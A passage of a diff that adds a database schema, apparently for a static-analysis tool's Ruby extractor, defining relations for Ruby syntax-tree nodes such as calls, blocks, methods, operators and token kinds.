+| 7 = @ruby_binary_plus
+| 8 = @ruby_binary_minus
+| 9 = @ruby_binary_slash
+| 10 = @ruby_binary_langle
+| 11 = @ruby_binary_langlelangle
+| 12 = @ruby_binary_langleequal
+| 13 = @ruby_binary_langleequalrangle
+| 14 = @ruby_binary_equalequal
+| 15 = @ruby_binary_equalequalequal
+| 16 = @ruby_binary_equaltilde
+| 17 = @ruby_binary_rangle
+| 18 = @ruby_binary_rangleequal
+| 19 = @ruby_binary_ranglerangle
+| 20 = @ruby_binary_caret
+| 21 = @ruby_binary_and
+| 22 = @ruby_binary_or
+| 23 = @ruby_binary_pipe
+| 24 = @ruby_binary_pipepipe
+;
+
+
+ruby_binary_def(
+  unique int id: @ruby_binary,
+  int left: @ruby_binary_left_type ref,
+  int operator: int ref,
+  int right: @ruby_underscore_expression ref
+);
+
+ruby_block_parameters(
+  unique int ruby_block: @ruby_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_block, index]
+ruby_block_child(
+  int ruby_block: @ruby_block ref,
+  int index: int ref,
+  unique int child: @ruby_block_child_type ref
+);
+
+ruby_block_def(
+  unique int id: @ruby_block
+);
+
+ruby_block_argument_child(
+  unique int ruby_block_argument: @ruby_block_argument ref,
+  unique int child: @ruby_underscore_arg ref
+);
+
+ruby_block_argument_def(
+  unique int id: @ruby_block_argument
+);
+
+ruby_block_parameter_name(
+  unique int ruby_block_parameter: @ruby_block_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_block_parameter_def(
+  unique int id: @ruby_block_parameter
+);
+
+#keyset[ruby_block_parameters, index]
+ruby_block_parameters_locals(
+  int ruby_block_parameters: @ruby_block_parameters ref,
+  int index: int ref,
+  unique int locals: @ruby_token_identifier ref
+);
+
+@ruby_block_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_block_parameters, index]
+ruby_block_parameters_child(
+  int ruby_block_parameters: @ruby_block_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_block_parameters_child_type ref
+);
+
+ruby_block_parameters_def(
+  unique int id: @ruby_block_parameters
+);
+
+ruby_break_child(
+  unique int ruby_break: @ruby_break ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_break_def(
+  unique int id: @ruby_break
+);
+
+ruby_call_arguments(
+  unique int ruby_call: @ruby_call ref,
+  unique int arguments: @ruby_argument_list ref
+);
+
+@ruby_call_block_type = @ruby_block | @ruby_do_block
+
+ruby_call_block(
+  unique int ruby_call: @ruby_call ref,
+  unique int block: @ruby_call_block_type ref
+);
+
+@ruby_call_method_type = @ruby_token_operator | @ruby_underscore_variable
+
+ruby_call_method(
+  unique int ruby_call: @ruby_call ref,
+  unique int method: @ruby_call_method_type ref
+);
+
+ruby_call_operator(
+  unique int ruby_call: @ruby_call ref,
+  unique int operator: @ruby_underscore_call_operator ref
+);
+
+ruby_call_receiver(
+  unique int ruby_call: @ruby_call ref,
+  unique int receiver: @ruby_underscore_primary ref
+);
+
+ruby_call_def(
+  unique int id: @ruby_call
+);
+
+ruby_case_value(
+  unique int ruby_case__: @ruby_case__ ref,
+  unique int value: @ruby_underscore_statement ref
+);
+
+@ruby_case_child_type = @ruby_else | @ruby_when
+
+#keyset[ruby_case__, index]
+ruby_case_child(
+  int ruby_case__: @ruby_case__ ref,
+  int index: int ref,
+  unique int child: @ruby_case_child_type ref
+);
+
+ruby_case_def(
+  unique int id: @ruby_case__
+);
+
+#keyset[ruby_case_match, index]
+ruby_case_match_clauses(
+  int ruby_case_match: @ruby_case_match ref,
+  int index: int ref,
+  unique int clauses: @ruby_in_clause ref
+);
+
+ruby_case_match_else(
+  unique int ruby_case_match: @ruby_case_match ref,
+  unique int else: @ruby_else ref
+);
+
+ruby_case_match_def(
+  unique int id: @ruby_case_match,
+  int value: @ruby_underscore_statement ref
+);
+
+#keyset[ruby_chained_string, index]
+ruby_chained_string_child(
+  int ruby_chained_string: @ruby_chained_string ref,
+  int index: int ref,
+  unique int child: @ruby_string__ ref
+);
+
+ruby_chained_string_def(
+  unique int id: @ruby_chained_string
+);
+
+@ruby_class_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+ruby_class_superclass(
+  unique int ruby_class: @ruby_class ref,
+  unique int superclass: @ruby_superclass ref
+);
+
+@ruby_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_class, index]
+ruby_class_child(
+  int ruby_class: @ruby_class ref,
+  int index: int ref,
+  unique int child: @ruby_class_child_type ref
+);
+
+ruby_class_def(
+  unique int id: @ruby_class,
+  int name: @ruby_class_name_type ref
+);
+
+@ruby_complex_child_type = @ruby_rational | @ruby_token_float | @ruby_token_integer
+
+ruby_complex_def(
+  unique int id: @ruby_complex,
+  int child: @ruby_complex_child_type ref
+);
+
+ruby_conditional_def(
+  unique int id: @ruby_conditional,
+  int alternative: @ruby_underscore_arg ref,
+  int condition: @ruby_underscore_arg ref,
+  int consequence: @ruby_underscore_arg ref
+);
+
+@ruby_delimited_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_delimited_symbol, index]
+ruby_delimited_symbol_child(
+  int ruby_delimited_symbol: @ruby_delimited_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_delimited_symbol_child_type ref
+);
+
+ruby_delimited_symbol_def(
+  unique int id: @ruby_delimited_symbol
+);
+
+@ruby_destructured_left_assignment_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_destructured_left_assignment, index]
+ruby_destructured_left_assignment_child(
+  int ruby_destructured_left_assignment: @ruby_destructured_left_assignment ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_left_assignment_child_type ref
+);
+
+ruby_destructured_left_assignment_def(
+  unique int id: @ruby_destructured_left_assignment
+);
+
+@ruby_destructured_parameter_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_destructured_parameter, index]
+ruby_destructured_parameter_child(
+  int ruby_destructured_parameter: @ruby_destructured_parameter ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_parameter_child_type ref
+);
+
+ruby_destructured_parameter_def(
+  unique int id: @ruby_destructured_parameter
+);
+
+@ruby_do_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do, index]
+ruby_do_child(
+  int ruby_do: @ruby_do ref,
+  int index: int ref,
+  unique int child: @ruby_do_child_type ref
+);
+
+ruby_do_def(
+  unique int id: @ruby_do
+);
+
+ruby_do_block_parameters(
+  unique int ruby_do_block: @ruby_do_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_do_block_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do_block, index]
+ruby_do_block_child(
+  int ruby_do_block: @ruby_do_block ref,
+  int index: int ref,
+  unique int child: @ruby_do_block_child_type ref
+);
+
+ruby_do_block_def(
+  unique int id: @ruby_do_block
+);
+
+@ruby_element_reference_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_element_reference, index]
+ruby_element_reference_child(
+  int ruby_element_reference: @ruby_element_reference ref,
+  int index: int ref,
+  unique int child: @ruby_element_reference_child_type ref
+);
+
+ruby_element_reference_def(
+  unique int id: @ruby_element_reference,
+  int object: @ruby_underscore_primary ref
+);
+
+@ruby_else_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_else, index]
+ruby_else_child(
+  int ruby_else: @ruby_else ref,
+  int index: int ref,
+  unique int child: @ruby_else_child_type ref
+);
+
+ruby_else_def(
+  unique int id: @ruby_else
+);
+
+@ruby_elsif_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_elsif_alternative(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int alternative: @ruby_elsif_alternative_type ref
+);
+
+ruby_elsif_consequence(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_elsif_def(
+  unique int id: @ruby_elsif,
+  int condition: @ruby_underscore_statement ref
+);
+
+@ruby_end_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_end_block, index]
+ruby_end_block_child(
+  int ruby_end_block: @ruby_end_block ref,
+  int index: int ref,
+  unique int child: @ruby_end_block_child_type ref
+);
+
+ruby_end_block_def(
+  unique int id: @ruby_end_block
+);
+
+@ruby_ensure_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_ensure, index]
+ruby_ensure_child(
+  int ruby_ensure: @ruby_ensure ref,
+  int index: int ref,
+  unique int child: @ruby_ensure_child_type ref
+);
+
+ruby_ensure_def(
+  unique int id: @ruby_ensure
+);
+
+ruby_exception_variable_def(
+  unique int id: @ruby_exception_variable,
+  int child: @ruby_underscore_lhs ref
+);
+
+@ruby_exceptions_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_exceptions, index]
+ruby_exceptions_child(
+  int ruby_exceptions: @ruby_exceptions ref,
+  int index: int ref,
+  unique int child: @ruby_exceptions_child_type ref
+);
+
+ruby_exceptions_def(
+  unique int id: @ruby_exceptions
+);
+
+ruby_expression_reference_pattern_def(
+  unique int id: @ruby_expression_reference_pattern,
+  int value: @ruby_underscore_expression ref
+);
+
+ruby_find_pattern_class(
+  unique int ruby_find_pattern: @ruby_find_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_find_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_find_pattern, index]
+ruby_find_pattern_child(
+  int ruby_find_pattern: @ruby_find_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_find_pattern_child_type ref
+);
+
+ruby_find_pattern_def(
+  unique int id: @ruby_find_pattern
+);
+
+@ruby_for_pattern_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+ruby_for_def(
+  unique int id: @ruby_for,
+  int body: @ruby_do ref,
+  int pattern: @ruby_for_pattern_type ref,
+  int value: @ruby_in ref
+);
+
+@ruby_hash_child_type = @ruby_hash_splat_argument | @ruby_pair
+
+#keyset[ruby_hash, index]
+ruby_hash_child(
+  int ruby_hash: @ruby_hash ref,
+  int index: int ref,
+  unique int child: @ruby_hash_child_type ref
+);
+
+ruby_hash_def(
+  unique int id: @ruby_hash
+);
+
+ruby_hash_pattern_class(
+  unique int ruby_hash_pattern: @ruby_hash_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_hash_pattern_child_type = @ruby_hash_splat_parameter | @ruby_keyword_pattern | @ruby_token_hash_splat_nil
+
+#keyset[ruby_hash_pattern, index]
+ruby_hash_pattern_child(
+  int ruby_hash_pattern: @ruby_hash_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_hash_pattern_child_type ref
+);
+
+ruby_hash_pattern_def(
+  unique int id: @ruby_hash_pattern
+);
+
+ruby_hash_splat_argument_def(
+  unique int id: @ruby_hash_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_hash_splat_parameter_name(
+  unique int ruby_hash_splat_parameter: @ruby_hash_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_hash_splat_parameter_def(
+  unique int id: @ruby_hash_splat_parameter
+);
+
+@ruby_heredoc_body_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_heredoc_content | @ruby_token_heredoc_end
+
+#keyset[ruby_heredoc_body, index]
+ruby_heredoc_body_child(
+  int ruby_heredoc_body: @ruby_heredoc_body ref,
+  int index: int ref,
+  unique int child: @ruby_heredoc_body_child_type ref
+);
+
+ruby_heredoc_body_def(
+  unique int id: @ruby_heredoc_body
+);
+
+@ruby_if_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_if_alternative(
+  unique int ruby_if: @ruby_if ref,
+  unique int alternative: @ruby_if_alternative_type ref
+);
+
+ruby_if_consequence(
+  unique int ruby_if: @ruby_if ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_if_def(
+  unique int id: @ruby_if,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_if_guard_def(
+  unique int id: @ruby_if_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_if_modifier_def(
+  unique int id: @ruby_if_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_in_def(
+  unique int id: @ruby_in,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_in_clause_body(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int body: @ruby_then ref
+);
+
+@ruby_in_clause_guard_type = @ruby_if_guard | @ruby_unless_guard
+
+ruby_in_clause_guard(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int guard: @ruby_in_clause_guard_type ref
+);
+
+ruby_in_clause_def(
+  unique int id: @ruby_in_clause,
+  int pattern: @ruby_underscore_pattern_top_expr_body ref
+);
+
+@ruby_interpolation_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_interpolation, index]
+ruby_interpolation_child(
+  int ruby_interpolation: @ruby_interpolation ref,
+  int index: int ref,
+  unique int child: @ruby_interpolation_child_type ref
+);
+
+ruby_interpolation_def(
+  unique int id: @ruby_interpolation
+);
+
+ruby_keyword_parameter_value(
+  unique int ruby_keyword_parameter: @ruby_keyword_parameter ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_keyword_parameter_def(
+  unique int id: @ruby_keyword_parameter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_keyword_pattern_key_type = @ruby_string__ | @ruby_token_hash_key_symbol
+
+ruby_keyword_pattern_value(
+  unique int ruby_keyword_pattern: @ruby_keyword_pattern ref,
+  unique int value: @ruby_underscore_pattern_expr ref
+);
+
+ruby_keyword_pattern_def(
+  unique int id: @ruby_keyword_pattern,
+  int key__: @ruby_keyword_pattern_key_type ref
+);
+
+@ruby_lambda_body_type = @ruby_block | @ruby_do_block
+
+ruby_lambda_parameters(
+  unique int ruby_lambda: @ruby_lambda ref,
+  unique int parameters: @ruby_lambda_parameters ref
+);
+
+ruby_lambda_def(
+  unique int id: @ruby_lambda,
+  int body: @ruby_lambda_body_type ref
+);
+
+@ruby_lambda_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_lambda_parameters, index]
+ruby_lambda_parameters_child(
+  int ruby_lambda_parameters: @ruby_lambda_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_lambda_parameters_child_type ref
+);
+
+ruby_lambda_parameters_def(
+  unique int id: @ruby_lambda_parameters
+);
+
+@ruby_left_assignment_list_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_left_assignment_list, index]
+ruby_left_assignment_list_child(
+  int ruby_left_assignment_list: @ruby_left_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_left_assignment_list_child_type ref
+);
+
+ruby_left_assignment_list_def(
+  unique int id: @ruby_left_assignment_list
+);
+
+ruby_method_parameters(
+  unique int ruby_method: @ruby_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_method, index]
+ruby_method_child(
+  int ruby_method: @ruby_method ref,
+  int index: int ref,
+  unique int child: @ruby_method_child_type ref
+);
+
+ruby_method_def(
+  unique int id: @ruby_method,
+  int name: @ruby_underscore_method_name ref
+);
+
+@ruby_method_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_method_parameters, index]
+ruby_method_parameters_child(
+  int ruby_method_parameters: @ruby_method_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_method_parameters_child_type ref
+);
+
+ruby_method_parameters_def(
+  unique int id: @ruby_method_parameters
+);
+
+@ruby_module_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_module_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_module, index]
+ruby_module_child(
+  int ruby_module: @ruby_module ref,
+  int index: int ref,
+  unique int child: @ruby_module_child_type ref
+);
+
+ruby_module_def(
+  unique int id: @ruby_module,
+  int name: @ruby_module_name_type ref
+);
+
+ruby_next_child(
+  unique int ruby_next: @ruby_next ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_next_def(
+  unique int id: @ruby_next
+);
+
+case @ruby_operator_assignment.operator of
+  0 = @ruby_operator_assignment_percentequal
+| 1 = @ruby_operator_assignment_ampersandampersandequal
+| 2 = @ruby_operator_assignment_ampersandequal
+| 3 = @ruby_operator_assignment_starstarequal
+| 4 = @ruby_operator_assignment_starequal
+| 5 = @ruby_operator_assignment_plusequal
+| 6 = @ruby_operator_assignment_minusequal
+| 7 = @ruby_operator_assignment_slashequal
+| 8 = @ruby_operator_assignment_langlelangleequal
+| 9 = @ruby_operator_assignment_ranglerangleequal
+| 10 = @ruby_operator_assignment_caretequal
+| 11 = @ruby_operator_assignment_pipeequal
+| 12 = @ruby_operator_assignment_pipepipeequal
+;
+
+
+@ruby_operator_assignment_right_type = @ruby_rescue_modifier | @ruby_underscore_expression
+
+ruby_operator_assignment_def(
+  unique int id: @ruby_operator_assignment,
+  int left: @ruby_underscore_lhs ref,
+  int operator: int ref,
+  int right: @ruby_operator_assignment_right_type ref
+);
+
+ruby_optional_parameter_def(
+  unique int id: @ruby_optional_parameter,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_pair_key_type = @ruby_string__ | @ruby_token_hash_key_symbol | @ruby_underscore_arg
+
+ruby_pair_value(
+  unique int ruby_pair: @ruby_pair ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_pair_def(
+  unique int id: @ruby_pair,
+  int key__: @ruby_pair_key_type ref
+);
+
+ruby_parenthesized_pattern_def(
+  unique int id: @ruby_parenthesized_pattern,
+  int child: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_parenthesized_statements_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_parenthesized_statements, index]
+ruby_parenthesized_statements_child(
+  int ruby_parenthesized_statements: @ruby_parenthesized_statements ref,
+  int index: int ref,
+  unique int child: @ruby_parenthesized_statements_child_type ref
+);
+
+ruby_parenthesized_statements_def(
+  unique int id: @ruby_parenthesized_statements
+);
+
+@ruby_pattern_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+ruby_pattern_def(
+  unique int id: @ruby_pattern,
+  int child: @ruby_pattern_child_type ref
+);
+
+@ruby_program_child_type = @ruby_token_empty_statement | @ruby_token_uninterpreted | @ruby_underscore_statement
+
+#keyset[ruby_program, index]
+ruby_program_child(
+  int ruby_program: @ruby_program ref,
+  int index: int ref,
+  unique int child: @ruby_program_child_type ref
+);
+
+ruby_program_def(
+  unique int id: @ruby_program
+);
+
+@ruby_range_begin_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_begin(
+  unique int ruby_range: @ruby_range ref,
+  unique int begin: @ruby_range_begin_type ref
+);
+
+@ruby_range_end_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_end(
+  unique int ruby_range: @ruby_range ref,
+  unique int end: @ruby_range_end_type ref
+);
+
+case @ruby_range.operator of
+  0 = @ruby_range_dotdot
+| 1 = @ruby_range_dotdotdot
+;
+
+
+ruby_range_def(
+  unique int id: @ruby_range,
+  int operator: int ref
+);
+
+@ruby_rational_child_type = @ruby_token_float | @ruby_token_integer
+
+ruby_rational_def(
+  unique int id: @ruby_rational,
+  int child: @ruby_rational_child_type ref
+);
+
+ruby_redo_child(
+  unique int ruby_redo: @ruby_redo ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_redo_def(
+  unique int id: @ruby_redo
+);
+
+@ruby_regex_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_regex, index]
+ruby_regex_child(
+  int ruby_regex: @ruby_regex ref,
+  int index: int ref,
+  unique int child: @ruby_regex_child_type ref
+);
+
+ruby_regex_def(
+  unique int id: @ruby_regex
+);
+
+ruby_rescue_body(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int body: @ruby_then ref
+);
+
+ruby_rescue_exceptions(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int exceptions: @ruby_exceptions ref
+);
+
+ruby_rescue_variable(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int variable: @ruby_exception_variable ref
+);
+
+ruby_rescue_def(
+  unique int id: @ruby_rescue
+);
+
+@ruby_rescue_modifier_body_type = @ruby_underscore_arg | @ruby_underscore_statement
+
+ruby_rescue_modifier_def(
+  unique int id: @ruby_rescue_modifier,
+  int body: @ruby_rescue_modifier_body_type ref,
+  int handler: @ruby_underscore_expression ref
+);
+
+ruby_rest_assignment_child(
+  unique int ruby_rest_assignment: @ruby_rest_assignment ref,
+  unique int child: @ruby_underscore_lhs ref
+);
+
+ruby_rest_assignment_def(
+  unique int id: @ruby_rest_assignment
+);
+
+ruby_retry_child(
+  unique int ruby_retry: @ruby_retry ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_retry_def(
+  unique int id: @ruby_retry
+);
+
+ruby_return_child(
+  unique int ruby_return: @ruby_return ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_return_def(
+  unique int id: @ruby_return
+);
+
+@ruby_right_assignment_list_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_right_assignment_list, index]
+ruby_right_assignment_list_child(
+  int ruby_right_assignment_list: @ruby_right_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_right_assignment_list_child_type ref
+);
+
+ruby_right_assignment_list_def(
+  unique int id: @ruby_right_assignment_list
+);
+
+@ruby_scope_resolution_scope_type = @ruby_underscore_pattern_constant | @ruby_underscore_primary
+
+ruby_scope_resolution_scope(
+  unique int ruby_scope_resolution: @ruby_scope_resolution ref,
+  unique int scope: @ruby_scope_resolution_scope_type ref
+);
+
+ruby_scope_resolution_def(
+  unique int id: @ruby_scope_resolution,
+  int name: @ruby_token_constant ref
+);
+
+ruby_setter_def(
+  unique int id: @ruby_setter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_singleton_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_singleton_class, index]
+ruby_singleton_class_child(
+  int ruby_singleton_class: @ruby_singleton_class ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_class_child_type ref
+);
+
+ruby_singleton_class_def(
+  unique int id: @ruby_singleton_class,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_singleton_method_object_type = @ruby_underscore_arg | @ruby_underscore_variable
+
+ruby_singleton_method_parameters(
+  unique int ruby_singleton_method: @ruby_singleton_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_singleton_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_singleton_method, index]
+ruby_singleton_method_child(
+  int ruby_singleton_method: @ruby_singleton_method ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_method_child_type ref
+);
+
+ruby_singleton_method_def(
+  unique int id: @ruby_singleton_method,
+  int name: @ruby_underscore_method_name ref,
+  int object: @ruby_singleton_method_object_type ref
+);
+
+ruby_splat_argument_def(
+  unique int id: @ruby_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_splat_parameter_name(
+  unique int ruby_splat_parameter: @ruby_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_splat_parameter_def(
+  unique int id: @ruby_splat_parameter
+);
+
+@ruby_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_string__, index]
+ruby_string_child(
+  int ruby_string__: @ruby_string__ ref,
+  int index: int ref,
+  unique int child: @ruby_string_child_type ref
+);
+
+ruby_string_def(
+  unique int id: @ruby_string__
+);
+
+#keyset[ruby_string_array, index]
+ruby_string_array_child(
+  int ruby_string_array: @ruby_string_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string ref
+);
+
+ruby_string_array_def(
+  unique int id: @ruby_string_array
+);
+
+@ruby_subshell_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_subshell, index]
+ruby_subshell_child(
+  int ruby_subshell: @ruby_subshell ref,
+  int index: int ref,
+  unique int child: @ruby_subshell_child_type ref
+);
+
+ruby_subshell_def(
+  unique int id: @ruby_subshell
+);
+
+ruby_superclass_def(
+  unique int id: @ruby_superclass,
+  int child: @ruby_underscore_expression ref
+);
+
+#keyset[ruby_symbol_array, index]
+ruby_symbol_array_child(
+  int ruby_symbol_array: @ruby_symbol_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol ref
+);
+
+ruby_symbol_array_def(
+  unique int id: @ruby_symbol_array
+);
+
+@ruby_then_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_then, index]
+ruby_then_child(
+  int ruby_then: @ruby_then ref,
+  int index: int ref,
+  unique int child: @ruby_then_child_type ref
+);
+
+ruby_then_def(
+  unique int id: @ruby_then
+);
+
+@ruby_unary_operand_type = @ruby_parenthesized_statements | @ruby_underscore_expression | @ruby_underscore_simple_numeric
+
+case @ruby_unary.operator of
+  0 = @ruby_unary_bang
+| 1 = @ruby_unary_plus
+| 2 = @ruby_unary_minus
+| 3 = @ruby_unary_definedquestion
+| 4 = @ruby_unary_not
+| 5 = @ruby_unary_tilde
+;
+
+
+ruby_unary_def(
+  unique int id: @ruby_unary,
+  int operand: @ruby_unary_operand_type ref,
+  int operator: int ref
+);
+
+#keyset[ruby_undef, index]
+ruby_undef_child(
+  int ruby_undef: @ruby_undef ref,
+  int index: int ref,
+  unique int child: @ruby_underscore_method_name ref
+);
+
+ruby_undef_def(
+  unique int id: @ruby_undef
+);
+
+@ruby_unless_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_unless_alternative(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int alternative: @ruby_unless_alternative_type ref
+);
+
+ruby_unless_consequence(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_unless_def(
+  unique int id: @ruby_unless,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_unless_guard_def(
+  unique int id: @ruby_unless_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_unless_modifier_def(
+  unique int id: @ruby_unless_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_until_def(
+  unique int id: @ruby_until,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_until_modifier_def(
+  unique int id: @ruby_until_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+@ruby_variable_reference_pattern_name_type = @ruby_token_identifier | @ruby_underscore_nonlocal_variable
+
+ruby_variable_reference_pattern_def(
+  unique int id: @ruby_variable_reference_pattern,
+  int name: @ruby_variable_reference_pattern_name_type ref
+);
+
+ruby_when_body(
+  unique int ruby_when: @ruby_when ref,
+  unique int body: @ruby_then ref
+);
+
+#keyset[ruby_when, index]
+ruby_when_pattern(
+  int ruby_when: @ruby_when ref,
+  int index: int ref,
+  unique int pattern: @ruby_pattern ref
+);
+
+ruby_when_def(
+  unique int id: @ruby_when
+);
+
+ruby_while_def(
+  unique int id: @ruby_while,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_while_modifier_def(
+  unique int id: @ruby_while_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_yield_child(
+  unique int ruby_yield: @ruby_yield ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_yield_def(
+  unique int id: @ruby_yield
+);
+
+ruby_tokeninfo(
+  unique int id: @ruby_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @ruby_token.kind of
+  0 = @ruby_reserved_word
+| 1 = @ruby_token_character
+| 2 = @ruby_token_class_variable
+| 3 = @ruby_token_comment
+| 4 = @ruby_token_constant
+| 5 = @ruby_token_empty_statement
+| 6 = @ruby_token_encoding
+| 7 = @ruby_token_escape_sequence
+| 8 = @ruby_token_false
+| 9 = @ruby_token_file
+| 10 = @ruby_token_float
+| 11 = @ruby_token_forward_argument
